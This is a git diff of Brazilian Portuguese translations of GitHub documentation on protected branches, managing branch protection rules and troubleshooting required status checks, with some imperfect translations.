-You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}.
+Você pode habilitar as restrições do branch se seu repositório for propriedade de uma organização que usa {% data variables.product.prodname_team %} ou {% data variables.product.prodname_ghe_cloud %}.
 {% endif %}
 
-When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging if the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required.
+Ao habilitar as restrições de branches, apenas usuários, equipes ou aplicativos com permissão podem fazer push para o branch protegido. Você pode visualizar e editar usuários, equipes ou aplicativos com acesso de push a um branch protegido nas configurações do branch protegido. Quando as verificações de status são necessárias, as pessoas, equipes, e aplicativos que têm permissão para fazer push em um branch protegido ainda serão impedidos de realizar o merge se a verificação necessária falhar. As pessoas, equipes, e aplicativos que têm permissão para fazer push em um branch protegido ainda precisarão criar um pull request quando forem necessários pull requests.
 
-You can only give push access to a protected branch to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch.
+Você só pode dar acesso de push a um branch protegido a usuários, equipes ou {% data variables.product.prodname_github_apps %} instalados com acesso de gravação a um repositório. As pessoas e os aplicativos com permissões de administrador em um repositório sempre conseguem fazer push em um branch protegido.
 
-### Allow force pushes
+### Permitir push forçado
 
 {% ifversion fpt or ghec %}
-By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, you can choose one of two groups who can force push:
+Por padrão, os blocks do {% data variables.product.product_name %} fazem push forçado em todos os branches protegidos. Ao habilitar push forçado em um branch protegido, você pode escolher um dos dois grupos que podem fazer push forçado:
 
-1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
-1. Allow only specific people or teams to force push to the branch.
+1. Permitir que todos com, no mínimo, permissões de gravação para que o repositório faça push forçado no branch, incluindo aqueles com permissões de administrador.
+1. Permitir apenas pessoas ou equipes específicas façam push forçado no branch.
 
-If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+Se alguém fizer um push forçado em um branch, ele poderá substituir commits em que outros colaboradores colaboradores basearam seu trabalho. As pessoas podem ter conflitos de merge ou pull requests corrompidos.
 
 {% else %}
-By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+Por padrão, os blocks do {% data variables.product.product_name %} fazem push forçado em todos os branches protegidos. Quando você habilitar push forçado em um branch protegido, qualquer pessoa com, pelo menos, permissões de gravação no repositório pode forçar o push ao branch, incluindo aqueles com permissões de administrador. Se alguém fizer um push forçado em um branch, ele poderá substituir commits em que outros colaboradores colaboradores basearam seu trabalho. As pessoas podem ter conflitos de merge ou pull requests corrompidos.
 {% endif %}
 
-Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch.
+Habilitar push forçado não irá substituir quaisquer outras regras de proteção de branch. Por exemplo, se um branch exigir um histórico de commit linear, você não poderá forçar commits a mesclar commits para esse branch.
 
-{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a user account or organization](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)."
+{% ifversion ghes or ghae %}Você não pode habilitar pushes forçados para um branch protegido se um administrador do site bloquear push forçados para todos os branches do seu repositório. Para obter mais informações, consulte "[Bloqueando push forçado para repositórios de propriedade de uma conta de usuário ou organização](/enterprise/{{ currentVersion }}/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)."
 
-If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %}
+Se um administrador do site bloquear pushes forçados apenas para o branch padrão, você ainda pode habilitar pushes forçados para qualquer outro branch protegido.{% endif %}
 
-### Allow deletions
+### Permitir exclusões
 
-By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch.
+Por padrão, você não pode excluir um branch protegido. Ao habilitar a exclusão de um branch protegido, qualquer pessoa com permissão de gravação no repositório pode excluir o branch.
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
index fbef6893f4..6f4bdc2cc2 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Defining the mergeability of pull requests
-intro: 'You can require pull requests to pass a set of checks before they can be merged. For example, you can block pull requests that don''t pass status checks or require that pull requests have a specific number of approving reviews before they can be merged.'
+title: Definir a capacidade de merge de pull requests
+intro: 'É possível exigir que as pull requests passem por uma série de verificações antes do merge. Por exemplo, você pode bloquear pull requests que não são aprovadas nas verificações de status ou exigir que essas pull requests tenham um número específico de revisões de aprovação antes de passarem por merge.'
 redirect_from:
   - /articles/defining-the-mergeability-of-a-pull-request
   - /articles/defining-the-mergeability-of-pull-requests
@@ -18,6 +18,6 @@ children:
   - /about-protected-branches
   - /managing-a-branch-protection-rule
   - /troubleshooting-required-status-checks
-shortTitle: Mergeability of PRs
+shortTitle: Mesclabilidade de PRs
 ---
 
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
index e8587b7306..8db8311954 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
@@ -1,6 +1,6 @@
 ---
-title: Managing a branch protection rule
-intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.'
+title: Gerenciar uma regra de proteção de branch
+intro: 'Você pode criar uma regra de proteção de branch para aplicar certos fluxos de trabalho para um ou mais branches, como exigir uma revisão de aprovação ou verificações de status de aprovação para todos os pull requests mesclados no branch protegido.'
 product: '{% data reusables.gated-features.protected-branches %}'
 redirect_from:
   - /articles/configuring-protected-branches
@@ -26,113 +26,90 @@ versions:
 permissions: People with admin permissions to a repository can manage branch protection rules.
 topics:
   - Repositories
-shortTitle: Branch protection rule
+shortTitle: Regra de proteção de branch
 ---
-## About branch protection rules
+
+## Sobre as regras de proteção do branch
 
 {% data reusables.repositories.branch-rules-example %}
 
-You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+É possível criar uma regra para todos os branches atuais e futuros no repositório com a sintaxe curinga `*`. Pelo fato de o {% data variables.product.company_short %} usar o sinalizador `File::FNM_PATHNAME` para a sintaxe `File.fnmatch`, o curinga não corresponde aos separadores de diretório (`/`). Por exemplo, `qa/*` pode fazer correspondência com todos os branches que começam com `qa/` e contêm uma única barra. Você pode incluir várias barras com `qa/**/*` e você pode estender a string `qa` com `qa**/**/*` para tornar a regra mais inclusiva. Para obter mais informações sobre opções de sintaxe para regras de branch, consulte a [documentação de fnmatch](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
 
-If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority.
+Se um repositório tiver várias regras de branch protegido que afetem os mesmos branches, as regras que incluírem um nome de branch específico terão a prioridade mais alta. Se houver mais de uma regra de branch protegido que faça referência ao mesmo nome de branch específico, a regra de branch criada primeiro terá a prioridade mais alta.
 
-Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority.
+As regras de branch protegido que mencionam um caractere especial, como `*`, `?` ou `]`, são aplicadas na ordem em que foram criadas, de modo que as regras mais antigas com esses caracteres têm uma prioridade mais alta.
 
-To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name.
+Para criar uma exceção a uma regra de branch existente, você pode criar outra regra de proteção de branch que tenha prioridade superior, como uma regra para um nome de branch específico.
 
-For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+Para obter mais informações sobre cada uma das configurações de proteção de branches disponíveis, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)".
 
-## Creating a branch protection rule
+## Criar uma regra de proteção de branch
 
-When you create a branch rule, the branch you specify doesn't have to exist yet in the repository.
+Ao criar uma regra de branch, o branch que você especificar ainda não existe no repositório.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
 {% data reusables.repositories.add-branch-protection-rules %}
 {% ifversion fpt or ghec %}
-1. Optionally, enable required pull requests.
-   - Under "Protect matching branches", select **Require a pull request before merging**.
-     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png)
-   - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch.
-     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
+1. Opcionalmente, habilite os pull requests necessários.
+   - Em "Proteger os branches correspondentes", selecione **Exigir um pull request antes de realizar o merge**. ![Caixa de seleção Pull request review restriction (Restrição de revisão de pull request)](/assets/images/help/repository/PR-reviews-required-updated.png)
+   - Opcionalmente, para exigir aprovações antes que um pull request possa ser mesclado, selecione **Exigir aprovações**, clique no menu suspenso **Número necessário de aprovações antes do merge** e, em seguida, selecione o número de aprovações de revisões que deseja exigir no branch. ![Menu suspenso para selecionar o número de revisões de aprovação obrigatórias](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
 {% else %}
-1. Optionally, enable required pull request reviews.
-   - Under "Protect matching branches", select **Require pull request reviews before merging**.
-     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png)
-   - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. 
-     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png)
+1. Opcionalmente, habilite as revisões obrigatórias de de pull request.
+   - Em "Proteger os branches correspondentes", selecione **Exigir revisões de pull request antes do merge**. ![Caixa de seleção Pull request review restriction (Restrição de revisão de pull request)](/assets/images/help/repository/PR-reviews-required.png)
+   - Clique no menu suspenso **Revisões de aprovação necessárias** e, em seguida, selecione o número de revisões que você deseja exigir no branch. ![Menu suspenso para selecionar o número de revisões de aprovação obrigatórias](/assets/images/help/repository/number-of-required-review-approvals.png)
 {% endif %}
-   - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**.
-     ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
-   - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
-     ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png)
+   - Opcionalmente, para ignorar uma revisão de aprovação de pull request quando um commit de modificação de código for enviado por push para o branch, selecione **Ignorar aprovações obsoletas de pull request quando novos commits forem enviados por push**. ![Caixa de seleção Dismiss stale pull request approvals when new commits are pushed (Ignorar aprovações de pull requests obsoletas ao fazer push de novos commits)](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
+   - Opcionalmente, para exigir a revisão de um proprietário do código quando o pull request afeta o código que tem um proprietário designado, selecione **Exigir revisão de Proprietários do Código**. Para obter mais informações, consulte "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)". ![Require review from code owners (Exigir revisão de proprietários de código)](/assets/images/help/repository/PR-review-required-code-owner.png)
 {% ifversion fpt or ghec %}
-   - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements.
-     ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png)
+   - Opcionalmente, para permitir que pessoas ou equipes específicas façam push de código para o branch sem estar sujeito às regras de pull request acima, selecione **Permitir que atores específicos ignorem os requisitos de pull request**. Em seguida, pesquise e selecione as pessoas ou equipes que têm permissão para ignorar os requisitos do pull request. ![Permitir que os atores específicos ignorem a caixa de seleção de requisitos de pull request](/assets/images/help/repository/PR-bypass-requirements.png)
 {% endif %}
-   - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the people or teams who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
-     ![Restrict who can dismiss pull request reviews checkbox](/assets/images/help/repository/PR-review-required-dismissals.png)
-1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
-   - Select **Require status checks to pass before merging**.
-     ![Required status checks option](/assets/images/help/repository/required-status-checks.png)
-   - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**.
-     ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png)
-   - Search for status checks, selecting the checks you want to require.
-     ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png)
+   - Opcionalmente, se o repositório fizer parte de uma organização, selecione **Restringir quem pode ignorar as revisões de pull request**. Em seguida, procure e selecione as pessoas ou equipes que têm permissão para ignorar as revisões de pull request. Para obter mais informações, consulte "[Ignorar uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)". ![Caixa de seleção Restrict who can dismiss pull request reviews (Restringir quem pode ignorar revisões de pull request)](/assets/images/help/repository/PR-review-required-dismissals.png)
+1. Opcionalmente, habilite as verificações de status obrigatórias. Para obter mais informações, consulte "[Sobre verificações de status](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)".
+   - Selecione **Require status checks to pass before merging** (Exigir verificações de status para aprovação antes de fazer merge). ![Opção Required status checks (Verificações de status obrigatórias)](/assets/images/help/repository/required-status-checks.png)
+   - Opcionalmente, para garantir que os pull requests sejam testados com o código mais recente no branch protegido, selecione **Exigir que os branches estejam atualizados antes do merge**. ![Caixa de seleção Status obrigatório rígido ou flexível](/assets/images/help/repository/protecting-branch-loose-status.png)
+   - Pesquise verificações de status, selecionando as verificações que você deseja exigir. ![Interface de pesquisa para verificações de status disponíveis, com lista de verificações necessárias](/assets/images/help/repository/required-statuses-list.png)
 {%- ifversion fpt or ghes > 3.1 or ghae %}
-1. Optionally, select **Require conversation resolution before merging**.
-  ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png)
+1. Opcionalmente, selecione **Exige resolução de conversas antes de fazer merge**. ![Exigir resolução de conversas antes de fazer o merge](/assets/images/help/repository/require-conversation-resolution.png)
 {%- endif %}
-1. Optionally, select **Require signed commits**.
-  ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png)
-1. Optionally, select **Require linear history**.
-  ![Required linear history option](/assets/images/help/repository/required-linear-history.png)
+1. Opcionalmente, selecione **Exigir commits assinados**. ![Opção Require signed commits (Exigir commits assinados)](/assets/images/help/repository/require-signed-commits.png)
+1. Opcionalmente, selecione **Exigir histórico linear**. ![Opção de histórico linear necessária](/assets/images/help/repository/required-linear-history.png)
 {%- ifversion fpt or ghec %}
-1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %}
-  ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png)
+1. Opcionalmente, para fazer merge de pull requests usando uma fila de merge, selecione **Exigir fila de merge**. {% data reusables.pull_requests.merge-queue-references %} ![Opção de exigir fila de merge](/assets/images/help/repository/require-merge-queue.png)
   {% tip %}
 
-  **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup).
+  **Dica:** O recurso de merge da fila de pull request está atualmente em versão beta pública limitada e sujeito a alterações. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup).
 
   {% endtip %}
 {%- endif %}
-1. Optionally, select **Apply the rules above to administrators**.
-![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
-1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions.
-   - Select **Restrict who can push to matching branches**.
-     ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png)
-   - Search for and select the people, teams, or apps who will have permission to push to the protected branch.
-     ![Branch restriction search](/assets/images/help/repository/restrict-branch-search.png)
-1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**.
-  ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png)
+1. Opcionalmente, selecione **Aplicar as regras acima aos administradores**. ![Aplicar as regras acima à caixa de seleção dos administradores](/assets/images/help/repository/include-admins-protected-branches.png)
+1. Opcionalmente, {% ifversion fpt or ghec %} se o repositório pertencer a uma organização que usa {% data variables.product.prodname_team %} ou {% data variables.product.prodname_ghe_cloud %},{% endif %} habilitar as restrições de branches.
+   - Selecione **Restringir quem pode fazer push para os branches correspondentes**. ![Caixa de seleção Branch restriction (Restrição de branch)](/assets/images/help/repository/restrict-branch.png)
+   - Procurar e selecionar pessoas, equipes ou aplicativos que tenham permissão para fazer push para o branch protegido. ![Pesquisa de restrição de branch](/assets/images/help/repository/restrict-branch-search.png)
+1. Opcionalmente, em "Regras aplicadas a todos incluindo administradores", selecione **Permitir pushes forçados**. ![Permitir opção push forçado](/assets/images/help/repository/allow-force-pushes.png)
 {% ifversion fpt or ghec %}
-  Then, choose who can force push to the branch.
-    - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
-    - Select **Specify who can force push** to allow only specific people or teams to force push to the branch. Then, search for and select those people or teams.
-      ![Screenshot of the options to specify who can force push](/assets/images/help/repository/allow-force-pushes-specify-who.png)
+  Em seguida, escolha quem pode fazer push forçado no branch.
+    - Selecione **Todos** para permitir que todos com pelo menos permissões de escrita no repositório para forçar push para o branch, incluindo aqueles com permissões de administrador.
+    - Selecione **Especificar quem pode fazer push forçado** para permitir que apenas pessoas ou equipes específicas possam fazer push forçado no branch. Em seguida, procure e selecione essas pessoas ou equipes. ![Captura de tela das opções para especificar quem pode fazer push forçado](/assets/images/help/repository/allow-force-pushes-specify-who.png)
 {% endif %}
 
-    For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
-1. Optionally, select **Allow deletions**.
-  ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png)
-1. Click **Create**.
+    Para obter mais informações sobre push forçado, consulte "[Permitir pushes forçados](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)".
+1. Opcionalmente, selecione **Permitir exclusões**. ![Permitir a opção de exclusão de branch](/assets/images/help/repository/allow-branch-deletions.png)
+1. Clique em **Criar**.
 
-## Editing a branch protection rule
+## Editar uma regra de proteção de branch
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. To the right of the branch protection rule you want to edit, click **Edit**.
-  ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png)
-1. Make your desired changes to the branch protection rule.
-1. Click **Save changes**.
-  ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png)
+1. À direita da regra de proteção de branch que você deseja editar, clique em **Editar**. ![Botão editar](/assets/images/help/repository/edit-branch-protection-rule.png)
+1. Faça as alterações desejadas na regra de proteção do branch.
+1. Clique em **Save changes** (Salvar alterações). ![Botão Edit message (Editar mensagem)](/assets/images/help/repository/save-branch-protection-rule.png)
 
-## Deleting a branch protection rule
+## Excluir as regras de proteção do branch
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. To the right of the branch protection rule you want to delete, click **Delete**.
-    ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png)
+1. À direita da regra de proteção do branch que você deseja excluir, clique em **Excluir**. ![Botão excluir](/assets/images/help/repository/delete-branch-protection-rule.png)
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
index 04e3abaa6d..c52bee064e 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting required status checks
-intro: You can check for common errors and resolve issues with required status checks.
+title: Solução de problemas de verificações de status necessárias
+intro: Você pode verificar erros comuns e resolver problemas com as verificações de status necessárias.
 product: '{% data reusables.gated-features.protected-branches %}'
 versions:
   fpt: '*'
@@ -12,19 +12,20 @@ topics:
 redirect_from:
   - /github/administering-a-repository/troubleshooting-required-status-checks
   - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks
-shortTitle: Required status checks
+shortTitle: Verificações de status necessárias
 ---
-If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)."
 
-After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+Se você tiver uma verificação e um status com o mesmo nome e selecionar esse nome como uma verificação de status obrigatória, a verificação e o status serão obrigatórios. Para obter mais informações, consulte "[Verificações](/rest/reference/checks)".
+
+Depois que você habilitar as verificações de status solicitadas, seu branch pode precisar estar atualizado com o branch de base antes da ação de merge. Isso garante que o branch foi testado com o código mais recente do branch base. Se o branch estiver desatualizado, você precisará fazer merge do branch base no seu branch. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)".
 
 {% note %}
 
-**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)."
+**Observação:** também é possível atualizar o seu branch com o branch base usando o rebase do Git. Para obter mais informações, consulte "[Rebase no Git](/github/getting-started-with-github/about-git-rebase)".
 
 {% endnote %}
 
-You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following.
+Não será possível fazer push de alterações locais em um branch protegido enquanto todas as verificações de status obrigatórias não forem aprovadas. Sendo assim, você receberá uma mensagem de erro semelhante a esta.
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
@@ -32,28 +33,28 @@ remote: error: Required status check "ci-build" is failing
 ```
 {% note %}
 
-**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself.
+**Observação:** as pull requests que são atualizadas e passam nas verificações de status obrigatórias podem sofrer merge localmente e enviadas por push para o branch protegido. Isso pode ser feito sem verificações de status em execução no próprio commit de merge.
 
 {% endnote %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 
-## Conflicts between head commit and test merge commit 
+## Conflitos entre o título do commit e o commit de merge do teste
 
-Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)."
+Por vezes, os resultados das verificações de status para o commit de mescla teste e o commit principal entrarão em conflito. Se o commit de merge de testes tem status, o commit de merge de testes deve passar. Caso contrário, o status do commit principal deve passar antes de você poder mesclar o branch. Para obter mais informações sobre commits de merge de teste, consulte "[Pulls](/rest/reference/pulls#get-a-pull-request)".
 
-![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
+![Branch com commits de mescla conflitantes](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
 {% endif %}
 
-## Handling skipped but required checks
+## Manipulação ignorada, mas verificações necessárias
 
-Sometimes a required status check is skipped on pull requests due to path filtering. For example, a Node.JS test will be skipped on a pull request that just fixes a typo in your README file and makes no changes to the JavaScript and TypeScript files in the `scripts` directory.
+Às vezes, uma verificação de status exigida é ignorada nos pull requests devido ao filtro de caminho. Por exemplo, um teste do Node.JS será ignorado em um pull request que apenas corrige um erro no seu arquivo README e não faz alterações nos arquivos JavaScript e TypeScript no diretório `scripts`.
 
-If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request.
+Se esta verificação é necessária e for ignorada, o status da verificação é exibido como pendente, porque é necessário. Nesse caso, você não poderá de fazer o merge do pull request.
 
-### Example
+### Exemplo
 
-In this example you have a workflow that's required to pass. 
+Neste exemplo, você tem um fluxo de trabalho necessário para passar.
 
 ```yaml
 name: ci
@@ -80,11 +81,11 @@ jobs:
     - run: npm test
 ```
 
-If someone submits a pull request that changes a markdown file in the root of the repository, then the workflow above won't run at all because of the path filtering. As a result you won't be able to merge the pull request. You would see the following status on the pull request:
+Se alguém enviar um pull request que altere um arquivo de markdown na raiz do repositório, o fluxo de trabalho acima não será executado devido ao filtro de caminho. Como resultado, você não poderá fazer o merge do pull request. Você verá o seguinte status no pull request:
 
-![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png)
+![Verificação obrigatória ignorada mas mostrada como pendente](/assets/images/help/repository/PR-required-check-skipped.png)
 
-You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below :
+Você pode corrigir isso criando um fluxo de trabalho genérico, com o mesmo nome, que retornará verdadeiro em qualquer caso semelhante ao fluxo de trabalho abaixo:
 
 ```yaml
 name: ci
@@ -99,21 +100,21 @@ jobs:
     steps:
       - run: 'echo "No build required" '
 ```
-Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow.
+Agora, as verificações sempre passarão sempre que alguém enviar uma solicitação pull que não altere os arquivos listados em `caminhos` no primeiro fluxo de trabalho.
 
-![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png)
+![Verificação ignorada mas passa graças a um fluxo de trabalho genérico](/assets/images/help/repository/PR-required-check-passed-using-generic.png)
 
 {% note %}
 
-**Notes:** 
-* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
-* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}.
+**Notas:**
+* Certifique-se de que a chave `nome` e o nome do trabalho necessário sejam o mesmo em ambos os arquivos do fluxo de trabalho. Para obter mais informações, consulte "[Sintaxe do fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
+* O exemplo acima usa {% data variables.product.prodname_actions %}, mas esta solução alternativa também se aplica a outros provedores de CI/CD que se integram a {% data variables.product.company_short %}.
 
 {% endnote %}
 
-{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app.
+{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}Também é possível que um branch protegido exiga uma verificação de status de um {% data variables.product.prodname_github_app %} específico. Se você vir uma mensagem parecida com a seguinte, você deverá verificar se a verificação listada na caixa de merge foi definida pelo aplicativo esperado.
 
 ```
-Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}.
+A "criação" da verificação de status necessária não foi definida pelo {% data variables.product.prodname_github_app %} esperado.
 ```
 {% endif %}
